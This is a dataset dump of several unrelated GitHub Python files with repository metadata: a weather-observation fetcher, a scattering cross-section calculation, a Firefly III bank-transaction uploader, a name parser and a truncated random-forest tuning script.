places[c]\n appended_data = []\n for p in plcs:\n # For last 10d we get daily values\n obs = download_stored_query(\"fmi::observations::weather::daily::multipointcoverage\",\n args=[\"fmisid=\" + p[1],\n \"starttime=\" + start_time,\n \"endtime=\" + end_time])\n df2 = pd.DataFrame.from_dict({(i): obs.data[i][j]\n for i in obs.data.keys() \n for j in obs.data[i].keys()},\n orient='index')\n df2 = df2.applymap(lambda x: x.get('value'))\n if df2.empty == False and (df2['Air temperature'].isnull().all() == False or df2['Ground minimum temperature'].isnull().all() == False):\n appended_data.append(df2)\n df2 = pd.concat(appended_data)\n df2['city'] = c\n df2.index = df2.index.date\n #df2 = df2.groupby([df2.index]).mean()\n df = pd.concat([df,df2])\n \n df = df.groupby([df.index, \"city\"]).mean().reset_index(level=1)\n\n return df\n\ndef get_hourly_obs(cities, places, cols):\n # Retrieve the last 10 days daily observations + todays latest 10h observation\n end_time = dt.datetime.utcnow()\n start_time = end_time - dt.timedelta(hours=10)\n # Convert times to properly formatted strings\n start_time = start_time.isoformat(timespec=\"seconds\") + \"Z\"\n end_time = end_time.isoformat(timespec=\"seconds\") + \"Z\"\n\n dfh = pd.DataFrame({'city': [], 'Air temperature' : [], 'Precipitation amount' : [],'Snow depth' : []})\n\n for c in cities:\n plcs = places[c]\n appended_data = []\n for p in plcs:\n # For last 10h we get all observations and use these to calculate the \"daily\" observations for today\n obs = download_stored_query(\"fmi::observations::weather::multipointcoverage\",\n args=[\"fmisid=\" + p[1],\n \"starttime=\" + start_time,\n \"endtime=\" + end_time])\n dfh2 = pd.DataFrame.from_dict({(i): obs.data[i][j]\n for i in obs.data.keys() \n for j in obs.data[i].keys()},\n orient='index')\n dfh2 = dfh2.applymap(lambda x: x.get('value'))\n # We have to calculate some new columns for these hourly observations\n if dfh2.empty == False:\n dfh2['Minimum temperature'] = dfh2['Air temperature'].min()\n dfh2['Maximum temperature'] = dfh2['Air temperature'].max()\n dfh2['Air temperature'] = dfh2['Air temperature'].mean()\n dfh2['Ground minimum temperature'] = dfh2['Minimum temperature']\n dfh2['Precipitation amount'] = dfh2['Precipitation amount'].sum()\n # Let's take only last calculated value as daily value for station\n dfh2 = dfh2.sort_index(axis=0, ascending=False).head(1)\n if dfh2.empty == False and dfh2['Air temperature'].isnull().all() == False:\n appended_data.append(dfh2)\n dfh2 = pd.concat(appended_data)\n dfh2['city'] = c\n dfh2.index = dfh2.index.date\n dfh2 = dfh2[cols]\n dfh = pd.concat([dfh,dfh2])\n \n # Let's take average of station for that city\n dfh = dfh.groupby([dfh.index, \"city\"]).mean().reset_index(level=1)\n \n return dfh\n\n", "repo_name": "sofvanh/slipskip", "sub_path": "predictor/get_obs_from_api.py", "file_name": "get_obs_from_api.py", "file_ext": "py", "file_size_in_byte": 5494, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.stdout", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.__stdout__", "line_number": 11, "usage_type": "attribute"}, {"api_name": "fmiopendata.utils.read_url", "line_number": 15, "usage_type": "call"}, {"api_name": "lxml.etree.fromstring", "line_number": 18, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 18, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 54, "usage_type": "call"}, {"api_name": "fmiopendata.wfs.download_stored_query", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 72, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 76, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 84, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 90, "usage_type": "call"}, {"api_name": "fmiopendata.wfs.download_stored_query", "line_number": 97, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 101, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 101, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 117, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 121, "usage_type": "call"}]} {"seq_id": "5577003980", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import solve_ivp, simps\nfrom scipy.interpolate import CubicSpline\nfrom funcs import *\n\na = np.loadtxt('e1.txt')\nrtab = a[:,0]\nutab = a[:,1] / 4.637\nu1 = lambda x: np.interp(x, rtab, utab)\nu2 = CubicSpline(rtab, utab)\nr = np.arange(np.min(rtab), np.max(rtab), 0.005)\n\n# en = np.arange(50., 2050., 2.)\njmax = np.round(np.sqrt(np.max(utab)*np.max(rtab)**2))\njs = np.arange(0,int(jmax/2),1)\nen = np.arange(2., np.max(utab), 2.)\n# phases_lin = np.zeros(len(en))\n# phases_cub = np.zeros(len(en))\nejpairs = np.transpose([np.tile(js, len(en)), np.repeat(en, len(js))])\n# sm = np.zeros((len(en), 2, 2), dtype=np.complex128)\nsol_elastic_cub = solve_ivp(lambda t, y: mulelequations(y, en, js, u2, t), (np.min(rtab), np.max(rtab)),\n mul_initial_value_j(np.min(rtab), en, js), t_eval=r)\npsi_cub = sol_elastic_cub.y[::2]\ndpsi_cub = sol_elastic_cub.y[1::2]\n\n\nresult = np.zeros((len(en), 2))\nresult[:,0] = en\nresult[:,1] = mul_sigma_calc(psi_cub, dpsi_cub, r, u2, en, js)\n\n# print(result)\nnp.savetxt('sigmas.txt', result)\n\n# plt.legend()\n# plt.show()\n \n", "repo_name": "andrescorp93/ArHe_Inelastic", "sub_path": "tab_potential.py", "file_name": "tab_potential.py", "file_ext": "py", "file_size_in_byte": 1151, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.loadtxt", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 10, "usage_type": "call"}, {"api_name": "scipy.interpolate.CubicSpline", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 20, "usage_type": "call"}, {"api_name": "scipy.integrate.solve_ivp", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 33, "usage_type": "call"}]} {"seq_id": "34951782550", "text": "import json\nimport logging\nfrom datetime import date, timedelta\nfrom os import environ\nfrom typing import Optional\n\nimport requests\n\nfrom scraper.common import ScrapeResults, id_for_transaction\n\nlog = logging.getLogger(__name__)\n\nCURRENCY_TO_ID = {}\n\n\ndef api_call(request, params=None, method='GET',\n endpoint='http://localhost:5464', data=None):\n token = environ.get('FIREFLY_TOKEN')\n headers = {\n 'Accept': 'application/vnd.api+json, application/json, text/plain, '\n '*/*',\n 'Authorization': f'Bearer {token}',\n }\n if data:\n data = json.dumps(data, default=str, separators=(',', ':'))\n headers['Content-Type'] = 'application/json'\n r = requests.request(method=method, url=f'{endpoint}/api/v1/{request}',\n params=params, headers=headers, data=data)\n r.raise_for_status()\n return r.json()\n\n\ndef paginated_data_call(request, method='GET',\n endpoint='http://localhost:5464', **kwargs):\n page1 = api_call(request, {\n 'page': '1',\n **kwargs\n }, method, endpoint)\n yield from page1['data']\n for page in range(2, page1['meta']['pagination']['total_pages'] + 1):\n yield from \\\n api_call(request, {'page': page, **kwargs}, method, endpoint)['data']\n\n\ndef account_get_all(endpoint: str):\n yield from paginated_data_call('accounts', type='asset', endpoint=endpoint)\n\n\ndef account_create(\n name: str,\n account_type: str = 'asset',\n iban: str = '',\n bic: str = '',\n account_number: str = '',\n opening_balance: Optional[float] = None,\n opening_balance_date: Optional[date] = None,\n virtual_balance: Optional[float] = None,\n currency_id: Optional[int] = None,\n currency_code: str = '',\n active: bool = False,\n order: Optional[int] = None,\n include_net_worth: bool = True,\n account_role: str = '',\n credit_card_type: str = '',\n monthly_payment_date: Optional[date] = None,\n liability_type: str = '',\n liability_direction: str = '',\n interest: Optional[float] = None,\n interest_period: str = '',\n notes: str = '',\n latitude: float = 0.0,\n longitude: float = 0.0,\n zoom_level: int = 0,\n endpoint: str = None,\n):\n data = {\n 'name': name,\n 'type': account_type,\n 'iban': iban,\n 'bic': bic,\n 'account_number': account_number,\n 'opening_balance': str(opening_balance) if opening_balance else '',\n 'opening_balance_date': opening_balance_date.strftime(\"%Y-%m-%d\")\n if opening_balance_date else '',\n 'virtual_balance': str(virtual_balance) if virtual_balance else '',\n 'currency_id': str(currency_id) if currency_id else '',\n 'currency_code': currency_code.upper(),\n 'active': str(active).lower(),\n 'order': order,\n 'include_net_worth': str(include_net_worth).lower(),\n 'account_role': account_role,\n 'credit_card_type': credit_card_type,\n 'monthly_payment_date': monthly_payment_date.strftime(\"%Y-%m-%d\")\n if monthly_payment_date else None,\n 'liability_type': liability_type,\n 'liability_direction': liability_direction,\n 'interest': str(interest),\n 'interest_period': interest_period,\n 'notes': notes,\n 'latitude': latitude,\n 'longitude': longitude,\n 'zoom_level': zoom_level,\n }\n cleanup = set()\n for k, v in data.items():\n if v is None:\n cleanup.add(k)\n for k in cleanup:\n data.pop(k)\n return api_call(\n request='accounts',\n method='POST',\n endpoint=endpoint,\n data=data,\n )\n\n\ndef currency_get_all(endpoint: str):\n for currency in paginated_data_call('currencies', endpoint=endpoint):\n CURRENCY_TO_ID[currency['attributes']['code']] = int(currency['id'])\n\n\ndef transaction_get_all(\n endpoint: str,\n start: Optional[date] = None,\n end: Optional[date] = None,\n query_type='all'\n):\n # type query_type : all, withdrawal, withdrawals, expense, deposit,\n # deposits, income, transfer, transfers, opening_balance,\n # reconciliation, special, specials, default\n yield from paginated_data_call(\n 'transactions',\n endpoint=endpoint,\n start=start.strftime(\"%Y-%m-%d\") if start else '',\n end=end.strftime(\"%Y-%m-%d\") if end else '',\n type=query_type,\n )\n\n\ndef transaction_create(\n endpoint: str,\n t_date: date,\n amount: float,\n description: str,\n currency: str,\n account_name: str,\n account_id: int,\n note: str,\n internal_id: str,\n external_id: str,\n process_date: Optional[date],\n):\n if amount > 0:\n t_target = account_name\n t_target_id = account_id\n t_source = \"Cash wallet\"\n t_source_id = 4\n else:\n t_target = \"Cash wallet\"\n t_target_id = 4\n t_source = account_name\n t_source_id = account_id\n return api_call(\n request='transactions',\n method='POST',\n endpoint=endpoint,\n data={\n # \"group_title\": f\"{t_date} {t_type} of {amount}\",\n \"error_if_duplicate_hash\": True,\n \"apply_rules\": True,\n \"fire_webhooks\": True,\n \"transactions\": [\n {\n \"type\": \"transfer\",\n \"date\": t_date.strftime(\"%Y-%m-%d\") + \"T00:00:00+02:00\",\n \"amount\": abs(amount),\n \"description\": description,\n \"currency_code\": currency.upper(),\n \"source_id\": str(t_source_id),\n \"source_name\": t_source,\n \"destination_id\": str(t_target_id),\n \"destination_name\": t_target,\n \"category_name\": \"\",\n \"interest_date\": \"\",\n \"book_date\": \"\",\n \"process_date\": (\n process_date.strftime(\"%Y-%m-%d\")\n + \"T00:00:00+02:00\"\n ) if process_date else \"\",\n \"due_date\": \"\",\n \"payment_date\": \"\",\n \"invoice_date\": \"\",\n \"internal_reference\": internal_id,\n \"notes\": note,\n \"external_id\": external_id,\n }\n ]\n }\n )\n\n\ndef update_account(account_id, account_number, result, currency_t, endpoint):\n date_min = None\n date_max = None\n transaction_by_id = set()\n for currency, entries in result.transactions.items():\n if currency != currency_t:\n continue\n for entry in entries:\n if entry['date'] is None:\n continue\n if date_min is None or entry['date'] < date_min:\n date_min = entry['date'] - timedelta(days=1)\n if date_max is None or entry['date'] > date_max:\n date_max = entry['date'] + timedelta(days=1)\n transaction_by_id.add(\n id_for_transaction(entry, currency, account_number)\n )\n for entry in transaction_get_all(endpoint, date_min, date_max):\n for transaction in entry['attributes']['transactions']:\n internal_id = transaction['internal_reference']\n if internal_id in transaction_by_id:\n transaction_by_id.remove(internal_id)\n for currency, entries in result.transactions.items():\n if currency != currency_t:\n continue\n account_name = f'{result.bank} {currency.upper()}'\n for entry in entries:\n if 'serial' not in entry:\n continue\n entry_id = id_for_transaction(entry, currency, account_number)\n if entry_id not in transaction_by_id:\n continue\n transaction_create(\n endpoint,\n entry['date'],\n entry['value'],\n entry['description'],\n currency,\n account_name,\n account_id,\n f\"balance: {entry['balance']} serial: {entry['serial']}\",\n entry_id,\n \"\",\n entry['value_date'],\n )\n\n\ndef firefly_upload(result: ScrapeResults, endpoint: str):\n currency_get_all(endpoint)\n\n for account in account_get_all(endpoint):\n number = account['attributes'].get('account_number')\n cleanup = []\n for currency in result.transactions.keys():\n if number == f'{result.account}-{currency}':\n update_account(account['id'], number, result, currency, endpoint)\n cleanup.append(currency)\n for currency in cleanup:\n result.transactions.pop(currency)\n\n for currency in result.transactions.keys():\n opening_balance = 0.0,\n opening_balance_date = date.today()\n for t in result.transactions.get(currency, []):\n if t['date'] is not None and t['date'] < opening_balance_date:\n opening_balance_date = t['date'] - timedelta(days=1)\n opening_balance = t['balance'] - t['value']\n number = f'{result.account}-{currency}'\n account = account_create(\n name=f'{result.bank} {currency.upper()}',\n account_type='asset',\n account_role='defaultAsset',\n account_number=number,\n opening_balance=opening_balance,\n opening_balance_date=opening_balance_date if opening_balance else None,\n endpoint=endpoint,\n active=True,\n include_net_worth=True,\n currency_code=currency,\n currency_id=CURRENCY_TO_ID[currency.upper()],\n credit_card_type='monthlyFull',\n monthly_payment_date=date(2020, 1, 1),\n liability_type='loan',\n liability_direction='credit',\n interest=0.0,\n interest_period='monthly',\n )['data']\n update_account(account['id'], number, result, currency, endpoint)\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n log.info('connected to firefly server version {version}'.format(\n **api_call('about')['data']))\n\n result_x = ScrapeResults()\n from firefly_secret import test_enrich\n\n test_enrich(result_x)\n firefly_upload(result_x, 'http://localhost:5464')\n", "repo_name": "phntom/mizrahi-scaper", "sub_path": "scraper/firefly.py", "file_name": "firefly.py", "file_ext": "py", "file_size_in_byte": 10498, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 25, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 27, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 55, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 56, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 57, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 58, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 61, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 65, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 68, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 125, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 125, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 126, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 126, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 143, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 152, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 152, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 214, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 216, "usage_type": "call"}, {"api_name": "scraper.common.id_for_transaction", "line_number": 218, "usage_type": "call"}, {"api_name": "scraper.common.id_for_transaction", "line_number": 232, "usage_type": "call"}, {"api_name": "scraper.common.ScrapeResults", "line_number": 250, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 265, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 265, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 268, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 284, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 294, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 294, "usage_type": "attribute"}, {"api_name": "scraper.common.ScrapeResults", "line_number": 298, "usage_type": "call"}, {"api_name": "firefly_secret.test_enrich", "line_number": 301, "usage_type": "call"}]} {"seq_id": "25037276445", "text": "__author__ = \"Derek Gulbranson\"\n__revision__ = \"$Id: nameparser.py 25 2010-08-18 19:57:57Z derek73 $\"\n__version__ = \"0.1.2\"\n__license__ = \"LGPL\"\n__url__ = \"http://code.google.com/p/python-nameparser\"\n\nTITLES = [\n 'dr','doctor','miss','misses','mr','mister','mrs','ms','sir',\n 'rev','madam','madame','AB','2ndLt','Amn','1stLt','A1C','Capt','SrA','Maj',\n 'SSgt','LtCol','TSgt','Col','BrigGen','1stSgt','MajGen','SMSgt','LtGen',\n '1stSgt','Gen','CMSgt','1stSgt','CCMSgt','CMSAF','PVT','2LT','PV2','1LT',\n 'PFC','CPT','SPC','MAJ','CPL','LTC','SGT','COL','SSG','BG','SFC','MG',\n 'MSG','LTG','1SGT','GEN','SGM','CSM','SMA','WO1','WO2','WO3','WO4','WO5',\n 'ENS','SA','LTJG','SN','LT','PO3','LCDR','PO2','CDR','PO1','CAPT','CPO',\n 'RADM(LH)','SCPO','RADM(UH)','MCPO','VADM','MCPOC','ADM','MPCO-CG','CWO-2',\n 'CWO-3','CWO-4','Pvt','2ndLt','PFC','1stLt','LCpl','Capt','Cpl','Maj','Sgt',\n 'LtCol','SSgt','Col','GySgt','BGen','MSgt','MajGen','1stSgt','LtGen','MGySgt',\n 'Gen','SgtMaj','SgtMajMC','WO-1','CWO-2','CWO-3','CWO-4','CWO-5','ENS','SA',\n 'LTJG','SN','LT','PO3','LCDR','PO2','CDR','PO1','CAPT','CPO','RDML','SCPO',\n 'RADM','MCPO','VADM','MCPON','ADM','FADM','WO1','CWO2','CWO3','CWO4','CWO5'\n]\n\n# QUESTIONABLE_TITLES could be last names or they could be titles\n# TODO: need to find best way to deal with these.. http://code.google.com/p/python-nameparser/issues/detail?id=3\nQUESTIONABLE_TITLES = ['judge',]\n\n# PUNC_TITLES could be names or titles, but if they have period at the end they're a title\nPUNC_TITLES = ['hon.']\nPREFICES = [\n 'abu','bon','ben','bin','da','dal','de','del','der','de','di','e','ibn',\n 'la','le','san','st','ste','van','vel','von'\n]\nSUFFICES = [\n 'esq','esquire','jr','sr','2','i','ii','iii','iv','v','clu','chfc',\n 'cfp','md','phd'\n]\nCAPITALIZATION_EXCEPTIONS = {\n 'ii': 'II',\n 'iii': 'III',\n 'iv': 'IV',\n 'md': 'M.D.',\n 'phd': 'Ph.D.'\n}\nCONJUNCTIONS = ['&', 'and', 'et', 'e', 'und', 'y']\n\nENCODING = 'utf-8'\nimport re\nre_spaces = re.compile(r\"\\s+\")\nre_word = re.compile(r\"\\w+\")\nre_mac = re.compile(r'^(ma?c)(\\w)', re.I)\nre_initial = re.compile(r'^(\\w\\.|[A-Z])?$')\n\nimport logging\n# logging.basicConfig(level=logging.DEBUG)\nlog = logging.getLogger('HumanName')\n\ndef lc(value):\n '''Lower case and remove any periods to normalize for comparison.'''\n if not value:\n return u''\n return value.lower().replace('.','')\n\ndef is_not_initial(value):\n return not re_initial.match(value)\n\nclass HumanName(object):\n \n \"\"\"\n Parse a person's name into individual components\n \n Usage::\n \n >>> name = HumanName(\"Dr. Juan Q. Xavier de la Vega III\")\n >>> name.title\n 'Dr.'\n >>> name.first\n 'Juan'\n >>> name.middle\n 'Q. Xavier'\n >>> name.last\n 'de la Vega'\n >>> name.suffix\n 'III'\n >>> name2 = HumanName(\"de la Vega, Dr. Juan Q. Xavier III\")\n >>> name == name2\n True\n >>> len(name)\n 5\n >>> list(name)\n ['Dr.', 'Juan', 'Q. Xavier', 'de la Vega', 'III']\n >>> name[1:-1]\n [u'Juan', u'Q. Xavier', u'de la Vega']\n \n \"\"\"\n \n def __init__(self, full_name=u\"\", titles=TITLES, prefices=PREFICES, \n suffices=SUFFICES, punc_titles=PUNC_TITLES, conjunctions=CONJUNCTIONS,\n capitalization_exceptions=CAPITALIZATION_EXCEPTIONS):\n \n super(HumanName, self).__init__()\n self.titles = titles\n self.punc_titles = punc_titles\n self.conjunctions = conjunctions\n self.prefices = prefices\n self.suffices = suffices\n self.capitalization_exceptions = capitalization_exceptions\n self.full_name = full_name\n self.title = u\"\"\n self.first = u\"\"\n self.suffixes = []\n self.middle_names = []\n self.last_names = []\n self.unparsable = False\n self.count = 0\n self.members = ['title','first','middle','last','suffix']\n if self.full_name:\n self.parse_full_name()\n \n def __iter__(self):\n return self\n \n def __len__(self):\n l = 0\n for x in self:\n l += 1\n return l\n \n def __eq__(self, other):\n \"\"\"\n HumanName instances are equal to other objects whose \n lower case unicode representations are the same\n \"\"\"\n return unicode(self).lower() == unicode(other).lower()\n \n def __ne__(self, other):\n return not unicode(self).lower() == unicode(other).lower()\n \n def __getitem__(self, key):\n return [getattr(self, x) for x in self.members[key]]\n \n def next(self):\n if self.count >= len(self.members):\n self.count = 0\n raise StopIteration\n else:\n c = self.count\n self.count = c + 1\n return getattr(self, self.members[c]) or self.next()\n\n def __unicode__(self):\n return u\" \".join(self)\n \n def __str__(self):\n return self.__unicode__().encode('utf-8')\n \n def __repr__(self):\n if self.unparsable:\n return u\"<%(class)s : [ Unparsable ] >\" % {'class': self.__class__.__name__,}\n return u\"<%(class)s : [\\n\\tTitle: '%(title)s' \\n\\tFirst: '%(first)s' \\n\\tMiddle: '%(middle)s' \\n\\tLast: '%(last)s' \\n\\tSuffix: '%(suffix)s'\\n]>\" % {\n 'class': self.__class__.__name__,\n 'title': self.title,\n 'first': self.first,\n 'middle': self.middle,\n 'last': self.last,\n 'suffix': self.suffix,\n }\n \n @property\n def middle(self):\n return u\" \".join(self.middle_names)\n \n @property\n def last(self):\n return u\" \".join(self.last_names)\n \n @property\n def suffix(self):\n return u\", \".join(self.suffixes)\n \n def is_conjunction(self, piece):\n return lc(piece) in self.conjunctions and is_not_initial(piece)\n \n def is_prefix(self, piece):\n return lc(piece) in self.prefices and is_not_initial(piece)\n \n def parse_full_name(self):\n if not self.full_name:\n raise AttributeError(\"Missing full_name\")\n \n if not isinstance(self.full_name, unicode):\n self.full_name = unicode(self.full_name, ENCODING)\n # collapse multiple spaces\n self.full_name = re.sub(re_spaces, u\" \", self.full_name.strip() )\n \n # reset values\n self.title = u\"\"\n self.first = u\"\"\n self.suffixes = []\n self.middle_names = []\n self.last_names = []\n self.unparsable = False\n \n # break up full_name by commas\n parts = [x.strip() for x in self.full_name.split(\",\")]\n \n log.debug(u\"full_name: \" + self.full_name)\n log.debug(u\"parts: \" + unicode(parts))\n \n pieces = []\n if len(parts) == 1:\n \n # no commas, title first middle middle middle last suffix\n \n for part in parts:\n names = part.split(' ')\n for name in names:\n name.replace(',','').strip()\n pieces.append(name)\n \n log.debug(u\"pieces: \" + unicode(pieces))\n \n for i, piece in enumerate(pieces):\n try:\n next = pieces[i + 1]\n except IndexError:\n next = None\n\n try:\n prev = pieces[i - 1]\n except IndexError:\n prev = None\n \n if lc(piece) in self.titles:\n self.title = piece\n continue\n if piece.lower() in self.punc_titles:\n self.title = piece\n continue\n if not self.first:\n self.first = piece.replace(\".\",\"\")\n continue\n if (i == len(pieces) - 2) and (lc(next) in self.suffices):\n self.last_names.append(piece)\n self.suffixes.append(next)\n break\n if self.is_prefix(piece):\n self.last_names.append(piece)\n continue\n if self.is_conjunction(piece) and i < len(pieces) / 2:\n self.first += ' ' + piece\n continue\n if self.is_conjunction(prev) and (i-1) < len(pieces) / 2:\n self.first += ' ' + piece\n continue\n if self.is_conjunction(piece) or self.is_conjunction(next):\n self.last_names.append(piece)\n continue\n if i == len(pieces) - 1:\n self.last_names.append(piece)\n continue\n self.middle_names.append(piece)\n else:\n if lc(parts[1]) in self.suffices:\n \n # title first middle last, suffix [, suffix]\n \n names = parts[0].split(' ')\n for name in names:\n name.replace(',','').strip()\n pieces.append(name)\n \n log.debug(u\"pieces: \" + unicode(pieces))\n \n self.suffixes += parts[1:]\n \n for i, piece in enumerate(pieces):\n try:\n next = pieces[i + 1]\n except IndexError:\n next = None\n\n if lc(piece) in self.titles:\n self.title = piece\n continue\n if piece.lower() in self.punc_titles:\n self.title = piece\n continue\n if not self.first:\n self.first = piece.replace(\".\",\"\")\n continue\n if i == (len(pieces) -1) and self.is_prefix(piece):\n self.last_names.append(piece + \" \" + next)\n break\n if self.is_prefix(piece):\n self.last_names.append(piece)\n continue\n if self.is_conjunction(piece) or self.is_conjunction(next):\n self.last_names.append(piece)\n continue\n if i == len(pieces) - 1:\n self.last_names.append(piece)\n continue\n self.middle_names.append(piece)\n else:\n \n # last, title first middles[,] suffix [,suffix]\n \n names = parts[1].split(' ')\n for name in names:\n name.replace(',','').strip()\n pieces.append(name)\n \n log.debug(u\"pieces: \" + unicode(pieces))\n \n self.last_names.append(parts[0])\n for i, piece in enumerate(pieces):\n try:\n next = pieces[i + 1]\n except IndexError:\n next = None\n \n if lc(piece) in self.titles:\n self.title = piece\n continue\n if piece.lower() in self.punc_titles:\n self.title = piece\n continue\n if not self.first:\n self.first = piece.replace(\".\",\"\")\n continue\n if lc(piece) in self.suffices:\n self.suffixes.append(piece)\n continue\n self.middle_names.append(piece)\n try:\n if parts[2]:\n self.suffixes += parts[2:]\n except IndexError:\n pass\n \n if not self.first and len(self.middle_names) < 1 and len(self.last_names) < 1:\n self.unparsable = True\n log.error(u\"Unparsable full_name: \" + self.full_name)\n \n def cap_word(self, word):\n if self.is_prefix(word) or self.is_conjunction(word):\n return lc(word)\n if word in self.capitalization_exceptions:\n return self.capitalization_exceptions[word]\n mac_match = re_mac.match(word)\n if mac_match:\n def cap_after_mac(m):\n return m.group(1).capitalize() + m.group(2).capitalize()\n return re_mac.sub(cap_after_mac, word)\n else:\n return word.capitalize()\n\n def cap_piece(self, piece):\n if not piece:\n return \"\"\n replacement = lambda m: self.cap_word(m.group(0))\n return re.sub(re_word, replacement, piece)\n\n def capitalize(self):\n name = unicode(self)\n if not (name == name.upper() or name == name.lower()):\n return\n self.title = self.cap_piece(self.title)\n self.first = self.cap_piece(self.first)\n self.middle_names = self.cap_piece(self.middle).split(' ')\n self.last_names = self.cap_piece(self.last).split(' ')\n self.suffixes = self.cap_piece(self.suffix).split(' ')\n\n", "repo_name": "innocenceproject/collective.salesforce.fundraising", "sub_path": "collective/salesforce/fundraising/nameparser.py", "file_name": "nameparser.py", "file_ext": "py", "file_size_in_byte": 13250, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.compile", "line_number": 48, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 49, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 50, "usage_type": "call"}, {"api_name": "re.I", "line_number": 50, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 55, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 193, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 362, "usage_type": "call"}]} {"seq_id": "36618092289", "text": "import numpy as np\nimport pandas as pd\nimport seaborn as sn\nimport matplotlib.pyplot as plt\n\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import confusion_matrix, accuracy_score\n\n# Using 3 fold cross validation\ndef rfc_validation(X_train, y_train):\n # Number of trees in random forest\n n_estimators = [int(x) for x in np.linspace(start = 10, stop = 100, num = 5)]\n # Number of features to consider at every split\n max_features = ['auto', 'sqrt']\n # Maximum number of levels in tree\n # max_depth = [int(x) for x in np.linspace(10, 110, num = 11)]\n # max_depth.append(None)\n # Minimum number of samples required to split a node\n min_samples_split = [2, 5, 10]\n # Minimum number of samples required at each leaf node\n min_samples_leaf = [1, 2, 4]\n # Method of selecting samples for training each tree\n bootstrap = [True, False]\n # Create the random grid\n random_grid = {'n_estimators': n_estimators,\n 'max_features': max_features,\n #'max_depth': max_depth,\n 'min_samples_split': min_samples_split,\n 'min_samples_leaf': min_samples_leaf,\n 'bootstrap': bootstrap}\n\n classifier = RandomForestClassifier()\n # Random search of parameters, using 3 fold cross validation, \n # search 